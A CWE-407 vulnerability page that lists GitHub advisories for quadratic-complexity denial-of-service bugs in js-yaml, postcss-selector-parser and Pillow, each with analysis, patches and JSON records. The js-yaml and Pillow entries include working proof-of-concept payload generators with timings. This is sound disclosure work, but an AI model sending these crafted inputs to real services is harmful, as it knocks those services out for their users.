CWE-407
Weakness Allowed-with-ReviewInefficient Algorithmic Complexity
Abstraction: Class · Status: Incomplete
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
Mapping guidance
This CWE entry is a Class and might have Base-level children that would be more appropriate
Examine children of this entry to see if there is a better fit
Modes of introduction
Detection methods
Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)
Effectiveness: High
Content history
updated Time_of_Introduction
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
updated Functional_Areas, Other_Notes
updated Common_Consequences
updated Applicable_Platforms, Likelihood_of_Exploit
updated Common_Consequences
updated Observed_Examples, Relationships
updated Relationships
updated Relationships
updated Likelihood_of_Exploit
updated Name, Relationships, Type
updated Relationships
updated Relationships
updated References, Relationships
updated References
updated Alternate_Terms, Observed_Examples, Relationships
updated Demonstrative_Examples, Observed_Examples, References
updated Relationships
updated Mapping_Notes
updated Weakness_Ordinalities
updated Detection_Factors, References
704 vulnerabilities reference this CWE, most recent first.
GHSA-724G-MXRG-4QVM
Vulnerability from github – Published: 2026-07-20 21:18 – Updated: 2026-07-20 21:18Summary
js-yaml v5.x introduces YAML11_SCHEMA support with the !!omap (ordered map) tag. The omapTag.addItem() function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses yaml.load() with { schema: yaml.YAML11_SCHEMA }.
Details
In src/tag/sequence/omap.ts (compiled: dist/js-yaml.cjs.js:510-525):
var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
create: () => [],
addItem: (container, item) => {
// ...
for (const existing of container) // O(n) per insertion!
if (hasOwnProperty(existing, itemKeys[0]))
return 'cannot resolve an ordered map item';
container.push(object); // n insertions → O(n^2) total
return '';
}
});
For a document with n unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = O(n²) total work.
PoC (runtime-confirmed on v5.2.0)
const yaml = require('js-yaml');
function buildOmapPayload(n) {
let p = '!!omap\n';
for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n';
return p;
}
// Timing results on v5.2.0:
// n=1000: 9ms
// n=5000: 73ms (5x n → 8x time)
// n=10000: 255ms (2x n → 3.5x time — supralinear)
// n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed)
// n=50000: 10613ms ← blocks event loop for >10 seconds
yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });
Impact
Any application that parses untrusted YAML using yaml.load(input, { schema: yaml.YAML11_SCHEMA }) is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).
This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including !!omap. The 4.x series is unaffected (no YAML11_SCHEMA export).
Fix
Replace the O(n) linear scan in addItem with an O(1) Set-based lookup:
var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
create: () => ({ list: [], seen: new Set() }),
addItem: (state, item) => {
const key = Object.keys(item)[0];
if (state.seen.has(key)) return 'duplicate omap key';
state.seen.add(key);
state.list.push(item);
return '';
},
resolve: (state) => state.list
});
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.2.0"
},
"package": {
"ecosystem": "npm",
"name": "js-yaml"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59870"
],
"database_specific": {
"cwe_ids": [
"CWE-407",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:18:51Z",
"nvd_published_at": "2026-07-08T16:16:33Z",
"severity": "MODERATE"
},
"details": "### Summary\n`js-yaml` v5.x introduces `YAML11_SCHEMA` support with the `!!omap` (ordered map) tag. The `omapTag.addItem()` function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses `yaml.load()` with `{ schema: yaml.YAML11_SCHEMA }`.\n\n### Details\nIn `src/tag/sequence/omap.ts` (compiled: `dist/js-yaml.cjs.js:510-525`):\n```js\nvar omapTag = defineSequenceTag(\u0027tag:yaml.org,2002:omap\u0027, {\n create: () =\u003e [],\n addItem: (container, item) =\u003e {\n // ...\n for (const existing of container) // O(n) per insertion!\n if (hasOwnProperty(existing, itemKeys[0]))\n return \u0027cannot resolve an ordered map item\u0027;\n container.push(object); // n insertions \u2192 O(n^2) total\n return \u0027\u0027;\n }\n});\n```\nFor a document with `n` unique entries, insertion i scans i\u22121 existing entries, yielding 1+2+\u2026+n = **O(n\u00b2)** total work.\n\n### PoC (runtime-confirmed on v5.2.0)\n```js\nconst yaml = require(\u0027js-yaml\u0027);\nfunction buildOmapPayload(n) {\n let p = \u0027!!omap\\n\u0027;\n for (let i = 0; i \u003c n; i++) p += \u0027- key\u0027 + i + \u0027: val\u0027 + i + \u0027\\n\u0027;\n return p;\n}\n// Timing results on v5.2.0:\n// n=1000: 9ms\n// n=5000: 73ms (5x n \u2192 8x time)\n// n=10000: 255ms (2x n \u2192 3.5x time \u2014 supralinear)\n// n=20000: 997ms (2x n \u2192 3.9x time \u2014 O(n\u00b2) confirmed)\n// n=50000: 10613ms \u2190 blocks event loop for \u003e10 seconds\nyaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });\n```\n\n### Impact\nAny application that parses untrusted YAML using `yaml.load(input, { schema: yaml.YAML11_SCHEMA })` is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).\n\nThis affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including `!!omap`. The 4.x series is unaffected (no `YAML11_SCHEMA` export).\n\n### Fix\nReplace the O(n) linear scan in `addItem` with an O(1) `Set`-based lookup:\n```js\nvar omapTag = defineSequenceTag(\u0027tag:yaml.org,2002:omap\u0027, {\n create: () =\u003e ({ list: [], seen: new Set() }),\n addItem: (state, item) =\u003e {\n const key = Object.keys(item)[0];\n if (state.seen.has(key)) return \u0027duplicate omap key\u0027;\n state.seen.add(key);\n state.list.push(item);\n return \u0027\u0027;\n },\n resolve: (state) =\u003e state.list\n});\n```",
"id": "GHSA-724g-mxrg-4qvm",
"modified": "2026-07-20T21:18:51Z",
"published": "2026-07-20T21:18:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-724g-mxrg-4qvm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59870"
},
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/commit/39f3211a2f01b3c6982710cf21434ab7060acefe"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodeca/js-yaml"
},
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/releases/tag/5.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "js-yaml: Quadratic-complexity (O(n^2)) DoS via !!omap tag in YAML11_SCHEMA"
}
GHSA-73Q4-X9M2-5H2R
Vulnerability from github – Published: 2026-12-04 03:31 – Updated: 2026-12-04 03:31postcss-selector-parser before 6.1.6 and 7.x before 7.1.8 contains a denial of service vulnerability that allows remote attackers to exhaust CPU through quadratic-time selector parsing in src/parser.js. Attackers can supply tens of kilobytes of crafted selectors exploiting splitWord(), space(), parenthesis handling, or cssesc backslash escaping to block the Node.js event loop for seconds.
{
"affected": [],
"aliases": [
"CVE-2026-144684"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-12-04T02:17:15Z",
"severity": "HIGH"
},
"details": "postcss-selector-parser before 6.1.6 and 7.x before 7.1.8 contains a denial of service vulnerability that allows remote attackers to exhaust CPU through quadratic-time selector parsing in src/parser.js. Attackers can supply tens of kilobytes of crafted selectors exploiting splitWord(), space(), parenthesis handling, or cssesc backslash escaping to block the Node.js event loop for seconds.",
"id": "GHSA-73q4-x9m2-5h2r",
"modified": "2026-12-04T03:31:01Z",
"published": "2026-12-04T03:31:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/postcss/postcss-selector-parser/security/advisories/GHSA-67xj-gfww-g738"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-144684"
},
{
"type": "WEB",
"url": "https://github.com/postcss/postcss-selector-parser/commit/6e311aa71c1eff5423b79ad662b376755cfa4e65"
},
{
"type": "WEB",
"url": "https://github.com/postcss/postcss-selector-parser/commit/71504d19170efeb57f3693c8dbdb86d8584d6278"
},
{
"type": "WEB",
"url": "https://github.com/postcss/postcss-selector-parser/blob/7.1.7/src/parser.js#L1005"
},
{
"type": "WEB",
"url": "https://github.com/postcss/postcss-selector-parser/blob/7.1.7/src/parser.js#L936"
},
{
"type": "WEB",
"url": "https://github.com/postcss/postcss-selector-parser/releases/tag/6.1.6"
},
{
"type": "WEB",
"url": "https://github.com/postcss/postcss-selector-parser/releases/tag/7.1.8"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/postcss-selector-parser-before-6.1.6-and-7.1.8-quadratic-time-parsing-denial-of-service"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-74R2-7FF9-MJJ2
Vulnerability from github – Published: 2026-10-21 20:42 – Updated: 2026-10-21 20:42============================================================================
Quadratic GIF comment concatenation allows DoS in Image.open()
Location: src/PIL/GifImagePlugin.py:266 in GifImageFile._seek()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
Opening a crafted GIF file with Image.open() takes time that grows with the square of the file's size, so anyone who can submit an image to a service that uses Pillow can keep one worker busy at full processor load for a long time with a small file. A 2 MB file takes about 5 seconds to open, a 4 MB file about 35 seconds, and an 8 MB file about 3 minutes. An ordinary GIF of the same size opens in well under a second. The cost is paid inside Image.open() itself, with default settings, before the application has seen the image's size or format.
The bug is in GifImageFile._seek() in src/PIL/GifImagePlugin.py, which builds info["comment"] by appending to an immutable bytes object with no size limit. It appends once per 255-byte sub-block (comment += block, line 261) and once per comment extension (info["comment"] += b"\n" + comment, line 266). Each append copies everything collected so far. A file made of many tiny comment extensions forces a full re-copy for each one. Because _open() ends with self._seek(0), any code that only opens an uploaded file to identify it, read its dimensions, or make a thumbnail pays the full cost. The decompression-bomb check does not help, since the image is 1×1. Memory use stays linear, so the effect is processor exhaustion and latency, bounded by whatever upload size the service allows (about 1 second at 1 MB). This is the same kind of issue as the EPS open-phase slowdown fixed as CVE-2021-28677, here in the GIF comment handling. The quadratic pattern was introduced in commit b2b737b68b06 ("Allow arbitrary number of comment extension subblocks", November 2018) and has shipped since Pillow 5.4.0. The attached script builds 2 MB and 4 MB test files and compares each against a byte-identical control whose extensions are labelled as plain text instead of comment. The 4 MB comment file took about 34 seconds to open, against 0.26 seconds for its control. A patch that collects the pieces in a list and joins them once is also attached.
Details
GifImageFile._seek() collects GIF comment extensions into info["comment"] using bytes concatenation, once per 255-byte sub-block and once per comment extension, with no limit on the total. bytes is immutable, so every += allocates a new object and copies everything accumulated so far; the work done by Image.open() is therefore quadratic in the amount of comment data in frame 0.
A 1×1 GIF89a whose body is nothing but the 5-byte comment extension 21 FE 01 41 00 repeated makes this directly observable. Image.open(BytesIO(data)) on such a file, stock build at this commit, 2-CPU machine:
| file size | comment extensions (21 FE …) |
same bytes labelled plain-text extension (21 01 …) |
|---|---|---|
| 1 MB | 1.2 s | 0.09 s |
| 2 MB | 4.9 s | 0.13 s |
| 4 MB | 35 s | 0.26 s |
| 8 MB | 183 s | — |
The control column is the identical byte stream with the extension label changed from 0xFE to 0x01; it goes through the same loop and the same self.data() reads but is discarded instead of concatenated, and scales linearly. No load() is needed and no warning or exception is raised; im.info["comment"] simply ends up holding the multi-megabyte blob.
The code, src/PIL/GifImagePlugin.py:229-281 (trimmed):
elif s == b"!":
s = self.fp.read(1)
block = self.data()
…
elif s[0] == 254:
#
# comment extension
#
comment = b""
# Read this comment block
while block:
comment += block # :261 one copy per sub-block
block = self.data()
if "comment" in info:
# If multiple comment blocks in frame, separate with \n
info["comment"] += b"\n" + comment # :266 one copy per extension
else:
info["comment"] = comment
s = b""
continue
…
while self.data(): # every other extension: read and drop
pass
self.data() (:97-102) reads one length byte and then that many bytes, so each call is cheap and bounded; the cost is entirely in the two += lines. For a single comment extension of N bytes delivered as N/255 sub-blocks, line 261 copies about N²/510 bytes in total (4 MB → 2.3 s, 8 MB → 9.5 s, 16 MB → 38 s measured). Splitting the same data into many small comment extensions is worse, because line 266 re-copies the whole of info["comment"] once per extension: with 1-byte extensions a file of F bytes causes roughly F²/25 bytes of copying, which is the table above (growth ×4–7 per doubling once the buffer outgrows the CPU caches).
This runs during Image.open(): _open() ends with self._seek(0) (:135), so any application that merely opens an uploaded file to identify it, read its size, or thumbnail it pays the full cost before it has made any decision about the image. Image._decompression_bomb_check is not involved (the image is 1×1), and unlike PNG text chunks (PngImagePlugin.MAX_TEXT_CHUNK / MAX_TEXT_MEMORY) there is no cap on GIF comment size. Later frames repeat the same loop for their own comments via seek() / n_frames.
With both += sites replaced by list-append and a single b"".join() (as in the attached patch), the same 16 MB single-extension file opens in 0.03 s, confirming the concatenation is the whole cost.
Impact
Anyone who can get a GIF to a service that calls PIL.Image.open() on it — avatar/media uploads, thumbnailers, format sniffing, anything using ImageOps/thumbnail() on user files — can pin one worker process at 100 % CPU for about 5 s with a 2 MB file, 35 s with a 4 MB file and 3 minutes with an 8 MB file, under default settings, with the time growing quadratically in the permitted upload size. A benign GIF of the same size opens in well under a second, so request-cost assumptions based on file size do not hold. Memory use is only linear (the comment is retained in im.info["comment"]), so the effect is CPU/latency denial of service of the worker pool rather than memory exhaustion; a handful of concurrent uploads is enough to saturate a typical pool. Upload size limits bound it (≈1 s at 1 MB).
This is the same shape as CVE-2021-28677 ("EPS DOS on _open", docs/releasenotes/8.2.0.rst), where a quadratic method of accumulating data in the open phase, before the image was accepted, was treated as a denial-of-service vulnerability; here the format is GIF and the accumulator is the comment extension.
The quadratic accumulation was introduced in b2b737b68b06 ("Allow arbitrary number of comment extension subblocks", 2018-11-27), first released in Pillow 5.4.0.
Reproducing
repro is a single Python script that uses the installed Pillow. Run it with no arguments. It needs no files, no network and no rebuild.
It builds two GIFs of the same length, at 2 MB and at 4 MB. Each is the 13-byte GIF89a header for a 1×1 screen, followed by size/5 copies of the 5-byte extension 21 <label> 01 41 00, then a minimal 1×1 image and the trailer:
- comments: label
0xFE. Each extension is a 1-byte comment, so_seek()appends each one toinfo["comment"]with+=(GifImagePlugin.py:266). - control: label
0x01(plain-text extension). The bytes are the same apart from the label._seek()reads them through the same loop and the sameself.data()calls, then throws them away.
The script times Image.open(io.BytesIO(data)) on each file. It does not call load(), because _open() already parses frame 0. It checks that the image came out as 1×1. Typical output on a 2-CPU machine:
2 MB GIF control (0x01): 0.16 s comments (0xFE): 5.14 s
4 MB GIF control (0x01): 0.26 s comments (0xFE): 33.53 s
doubling 2 MB -> 4 MB multiplied open() time by x6.5 (linear: ~x2)
4 MB comment GIF took x129 as long as the same-size control
BUG
For a linear parser, doubling the file would roughly double the time, and the two files would take about the same time. The script prints BUG when all three of these hold:
- doubling the comment file from 2 MB to 4 MB multiplies its open time by at least 3×;
- the 4 MB comment file takes at least 20× as long as its control;
- the 4 MB comment file takes at least 8 s.
Otherwise it prints OK. The run is deterministic, CPU-bound on one core, and takes about 40 s.
Suggested fix
The attached patch changes GifImageFile._seek() in src/PIL/GifImagePlugin.py to accumulate comment data in a local list instead of with bytes concatenation, and to join it once when the frame's info is committed:
@@ def _seek(self, frame: int, update_image: bool = True) -> None:
info: dict[str, Any] = {}
+ comment_blocks: list[bytes] | None = None
frame_transparency = None
@@
elif s[0] == 254:
#
# comment extension
#
- comment = b""
+ if comment_blocks is None:
+ comment_blocks = []
+ else:
+ # If multiple comment blocks in frame, separate with \n
+ comment_blocks.append(b"\n")
# Read this comment block
while block:
- comment += block
+ comment_blocks.append(block)
block = self.data()
-
- if "comment" in info:
- # If multiple comment blocks in frame, separate with \n
- info["comment"] += b"\n" + comment
- else:
- info["comment"] = comment
s = b""
continue
@@
- if info.get("comment"):
- self.info["comment"] = info["comment"]
+ if comment_blocks:
+ comment = b"".join(comment_blocks)
+ if comment:
+ self.info["comment"] = comment
for k in ["duration", "extension"]:
This removes the quadratic copying at both sites (:261 per sub-block and :266 per extension); the 4 MB reproducer file opens in about 0.3 s, the same as its control, and the reproducer no longer prints BUG on a patched build. The resulting info["comment"] is unchanged for empty, multi-sub-block, multi-extension and later-frame comments — including Tests/images/multiple_comments.gif → b"Test comment 1\nTest comment 2" — and Tests/test_file_gif.py passes unchanged. The GIF writer (_write_local_header / _save) is not affected.
The patch deliberately adds no size cap. Unlike PNG zTXt, which PngImagePlugin.MAX_TEXT_CHUNK guards against decompression amplification, a GIF comment can be no larger than the file that carries it, so once the copy is linear there is nothing left to bound, and a hard cap would reject valid files with large comments. If a limit is wanted anyway, a MAX_COMMENT_SIZE check inside the sub-block loop is a small policy addition on top of this patch.
The patch
GIF: collect comment extension sub-blocks in a list and join once per frame instead of repeated bytes += in GifImageFile._seek()
Applies to src/PIL/GifImagePlugin.py at the commit above.
diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py
index 11fb180fc..05007d2ac 100644
--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -217,6 +217,7 @@ class GifImageFile(ImageFile.ImageFile):
palette: ImagePalette.ImagePalette | Literal[False] | None = None
info: dict[str, Any] = {}
+ comment_blocks: list[bytes] | None = None
frame_transparency = None
interlace = None
frame_dispose_extent = None
@@ -254,18 +255,16 @@ class GifImageFile(ImageFile.ImageFile):
#
# comment extension
#
- comment = b""
+ if comment_blocks is None:
+ comment_blocks = []
+ else:
+ # If multiple comment blocks in frame, separate with \n
+ comment_blocks.append(b"\n")
# Read this comment block
while block:
- comment += block
+ comment_blocks.append(block)
block = self.data()
-
- if "comment" in info:
- # If multiple comment blocks in frame, separate with \n
- info["comment"] += b"\n" + comment
- else:
- info["comment"] = comment
s = b""
continue
elif s[0] == 255 and frame == 0 and block is not None:
@@ -433,8 +432,10 @@ class GifImageFile(ImageFile.ImageFile):
)
]
- if info.get("comment"):
- self.info["comment"] = info["comment"]
+ if comment_blocks:
+ comment = b"".join(comment_blocks)
+ if comment:
+ self.info["comment"] = comment
for k in ["duration", "extension"]:
if k in info:
self.info[k] = info[k]
The reproducer
Reproducer —repro, 2,263 bytes (click to open)
Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.
#!/usr/bin/env python3
"""Quadratic CPU in Image.open() on GIF comment extensions.
GifImageFile._seek() appends every comment extension to info["comment"] with
bytes `+=` (src/PIL/GifImagePlugin.py:266), copying the whole accumulated
comment each time. Image.open() runs _seek(0) eagerly, so merely opening a GIF
made of many tiny comment extensions costs O(size^2) CPU.
We time Image.open() on two files of identical length:
ATTACK - a 1x1 GIF whose body is thousands of 1-byte comment extensions (label 0xFE)
CONTROL - the same bytes with label 0x01 (plain-text extension), which _seek()
reads through the same loop but discards instead of concatenating.
A linear parser would take ~2x longer when the file doubles, and the two files
would cost about the same.
"""
import io
import time
from PIL import Image
HEADER = b"GIF89a" + b"\x01\x00\x01\x00" + b"\x00\x00\x00" # 1x1 screen, no palette
IMAGE = b",\x00\x00\x00\x00\x01\x00\x01\x00\x00" + b"\x02\x02\x44\x01\x00" # 1x1 frame
TRAILER = b";"
def make_gif(size: int, label: int) -> bytes:
# each extension is `21 <label> 01 'A' 00`: one 1-byte sub-block, then terminator
extension = b"!" + bytes([label]) + b"\x01A\x00"
return HEADER + extension * (size // 5) + IMAGE + TRAILER
def time_open(data: bytes) -> float:
start = time.perf_counter()
with Image.open(io.BytesIO(data)) as im: # no load(): the cost is in open()
elapsed = time.perf_counter() - start
assert im.size == (1, 1)
return elapsed
MB = 1 << 20
attack, control = {}, {}
for size in (2 * MB, 4 * MB):
control[size] = time_open(make_gif(size, 0x01))
attack[size] = time_open(make_gif(size, 0xFE))
print(f"{size // MB} MB GIF control (0x01): {control[size]:6.2f} s "
f"comments (0xFE): {attack[size]:6.2f} s", flush=True)
growth = attack[4 * MB] / attack[2 * MB]
vs_control = attack[4 * MB] / control[4 * MB]
print(f"doubling 2 MB -> 4 MB multiplied open() time by x{growth:.1f} (linear: ~x2)")
print(f"4 MB comment GIF took x{vs_control:.0f} as long as the same-size control")
# BUG: super-linear growth, far slower than the control, and seconds of CPU per open()
print("BUG" if growth >= 3 and vs_control >= 20 and attack[4 * MB] >= 8 else "OK")
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Pillow"
},
"ranges": [
{
"events": [
{
"introduced": "5.4.0"
},
{
"fixed": "13.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-112401"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-21T20:42:11Z",
"nvd_published_at": "2026-10-19T22:17:07Z",
"severity": "MODERATE"
},
"details": "```\n============================================================================\nQuadratic GIF comment concatenation allows DoS in Image.open()\nLocation: src/PIL/GifImagePlugin.py:266 in GifImageFile._seek()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nOpening a crafted GIF file with `Image.open()` takes time that grows with the square of the file\u0027s size, so anyone who can submit an image to a service that uses Pillow can keep one worker busy at full processor load for a long time with a small file. A 2 MB file takes about 5 seconds to open, a 4 MB file about 35 seconds, and an 8 MB file about 3 minutes. An ordinary GIF of the same size opens in well under a second. The cost is paid inside `Image.open()` itself, with default settings, before the application has seen the image\u0027s size or format.\n\nThe bug is in `GifImageFile._seek()` in `src/PIL/GifImagePlugin.py`, which builds `info[\"comment\"]` by appending to an immutable `bytes` object with no size limit. It appends once per 255-byte sub-block (`comment += block`, line 261) and once per comment extension (`info[\"comment\"] += b\"\\n\" + comment`, line 266). Each append copies everything collected so far. A file made of many tiny comment extensions forces a full re-copy for each one. Because `_open()` ends with `self._seek(0)`, any code that only opens an uploaded file to identify it, read its dimensions, or make a thumbnail pays the full cost. The decompression-bomb check does not help, since the image is 1\u00d71. Memory use stays linear, so the effect is processor exhaustion and latency, bounded by whatever upload size the service allows (about 1 second at 1 MB). This is the same kind of issue as the EPS open-phase slowdown fixed as CVE-2021-28677, here in the GIF comment handling. The quadratic pattern was introduced in commit b2b737b68b06 (\"Allow arbitrary number of comment extension subblocks\", November 2018) and has shipped since Pillow 5.4.0. The attached script builds 2 MB and 4 MB test files and compares each against a byte-identical control whose extensions are labelled as plain text instead of comment. The 4 MB comment file took about 34 seconds to open, against 0.26 seconds for its control. A patch that collects the pieces in a list and joins them once is also attached.\n\n## Details\n\n`GifImageFile._seek()` collects GIF comment extensions into `info[\"comment\"]` using `bytes` concatenation, once per 255-byte sub-block and once per comment extension, with no limit on the total. `bytes` is immutable, so every `+=` allocates a new object and copies everything accumulated so far; the work done by `Image.open()` is therefore quadratic in the amount of comment data in frame 0.\n\nA 1\u00d71 GIF89a whose body is nothing but the 5-byte comment extension `21 FE 01 41 00` repeated makes this directly observable. `Image.open(BytesIO(data))` on such a file, stock build at this commit, 2-CPU machine:\n\n| file size | comment extensions (`21 FE \u2026`) | same bytes labelled plain-text extension (`21 01 \u2026`) |\n|---|---|---|\n| 1 MB | 1.2 s | 0.09 s |\n| 2 MB | 4.9 s | 0.13 s |\n| 4 MB | 35 s | 0.26 s |\n| 8 MB | 183 s | \u2014 |\n\nThe control column is the identical byte stream with the extension label changed from `0xFE` to `0x01`; it goes through the same loop and the same `self.data()` reads but is discarded instead of concatenated, and scales linearly. No `load()` is needed and no warning or exception is raised; `im.info[\"comment\"]` simply ends up holding the multi-megabyte blob.\n\nThe code, `src/PIL/GifImagePlugin.py:229-281` (trimmed):\n\n```python\n elif s == b\"!\":\n s = self.fp.read(1)\n block = self.data()\n \u2026\n elif s[0] == 254:\n #\n # comment extension\n #\n comment = b\"\"\n\n # Read this comment block\n while block:\n comment += block # :261 one copy per sub-block\n block = self.data()\n\n if \"comment\" in info:\n # If multiple comment blocks in frame, separate with \\n\n info[\"comment\"] += b\"\\n\" + comment # :266 one copy per extension\n else:\n info[\"comment\"] = comment\n s = b\"\"\n continue\n \u2026\n while self.data(): # every other extension: read and drop\n pass\n```\n\n`self.data()` (`:97-102`) reads one length byte and then that many bytes, so each call is cheap and bounded; the cost is entirely in the two `+=` lines. For a single comment extension of N bytes delivered as N/255 sub-blocks, line 261 copies about N\u00b2/510 bytes in total (4 MB \u2192 2.3 s, 8 MB \u2192 9.5 s, 16 MB \u2192 38 s measured). Splitting the same data into many small comment extensions is worse, because line 266 re-copies the whole of `info[\"comment\"]` once per extension: with 1-byte extensions a file of F bytes causes roughly F\u00b2/25 bytes of copying, which is the table above (growth \u00d74\u20137 per doubling once the buffer outgrows the CPU caches).\n\nThis runs during `Image.open()`: `_open()` ends with `self._seek(0)` (`:135`), so any application that merely opens an uploaded file to identify it, read its size, or thumbnail it pays the full cost before it has made any decision about the image. `Image._decompression_bomb_check` is not involved (the image is 1\u00d71), and unlike PNG text chunks (`PngImagePlugin.MAX_TEXT_CHUNK` / `MAX_TEXT_MEMORY`) there is no cap on GIF comment size. Later frames repeat the same loop for their own comments via `seek()` / `n_frames`.\n\nWith both `+=` sites replaced by list-append and a single `b\"\".join()` (as in the attached patch), the same 16 MB single-extension file opens in 0.03 s, confirming the concatenation is the whole cost.\n\n## Impact\n\nAnyone who can get a GIF to a service that calls `PIL.Image.open()` on it \u2014 avatar/media uploads, thumbnailers, format sniffing, anything using `ImageOps`/`thumbnail()` on user files \u2014 can pin one worker process at 100 % CPU for about 5 s with a 2 MB file, 35 s with a 4 MB file and 3 minutes with an 8 MB file, under default settings, with the time growing quadratically in the permitted upload size. A benign GIF of the same size opens in well under a second, so request-cost assumptions based on file size do not hold. Memory use is only linear (the comment is retained in `im.info[\"comment\"]`), so the effect is CPU/latency denial of service of the worker pool rather than memory exhaustion; a handful of concurrent uploads is enough to saturate a typical pool. Upload size limits bound it (\u22481 s at 1 MB).\n\nThis is the same shape as CVE-2021-28677 (\"EPS DOS on _open\", `docs/releasenotes/8.2.0.rst`), where a quadratic method of accumulating data in the open phase, before the image was accepted, was treated as a denial-of-service vulnerability; here the format is GIF and the accumulator is the comment extension.\n\nThe quadratic accumulation was introduced in `b2b737b68b06` (\"Allow arbitrary number of comment extension subblocks\", 2018-11-27), first released in Pillow 5.4.0.\n\n## Reproducing\n\n`repro` is a single Python script that uses the installed Pillow. Run it with no arguments. It needs no files, no network and no rebuild.\n\nIt builds two GIFs of the same length, at 2 MB and at 4 MB. Each is the 13-byte GIF89a header for a 1\u00d71 screen, followed by `size/5` copies of the 5-byte extension `21 \u003clabel\u003e 01 41 00`, then a minimal 1\u00d71 image and the trailer:\n\n- **comments**: label `0xFE`. Each extension is a 1-byte comment, so `_seek()` appends each one to `info[\"comment\"]` with `+=` (`GifImagePlugin.py:266`).\n- **control**: label `0x01` (plain-text extension). The bytes are the same apart from the label. `_seek()` reads them through the same loop and the same `self.data()` calls, then throws them away.\n\nThe script times `Image.open(io.BytesIO(data))` on each file. It does not call `load()`, because `_open()` already parses frame 0. It checks that the image came out as 1\u00d71. Typical output on a 2-CPU machine:\n\n```\n2 MB GIF control (0x01): 0.16 s comments (0xFE): 5.14 s\n4 MB GIF control (0x01): 0.26 s comments (0xFE): 33.53 s\ndoubling 2 MB -\u003e 4 MB multiplied open() time by x6.5 (linear: ~x2)\n4 MB comment GIF took x129 as long as the same-size control\nBUG\n```\n\nFor a linear parser, doubling the file would roughly double the time, and the two files would take about the same time. The script prints `BUG` when all three of these hold:\n\n- doubling the comment file from 2 MB to 4 MB multiplies its open time by at least 3\u00d7;\n- the 4 MB comment file takes at least 20\u00d7 as long as its control;\n- the 4 MB comment file takes at least 8 s.\n\nOtherwise it prints `OK`. The run is deterministic, CPU-bound on one core, and takes about 40 s.\n\n## Suggested fix\n\nThe attached patch changes `GifImageFile._seek()` in `src/PIL/GifImagePlugin.py` to accumulate comment data in a local list instead of with `bytes` concatenation, and to join it once when the frame\u0027s info is committed:\n\n```diff\n@@ def _seek(self, frame: int, update_image: bool = True) -\u003e None:\n info: dict[str, Any] = {}\n+ comment_blocks: list[bytes] | None = None\n frame_transparency = None\n@@\n elif s[0] == 254:\n #\n # comment extension\n #\n- comment = b\"\"\n+ if 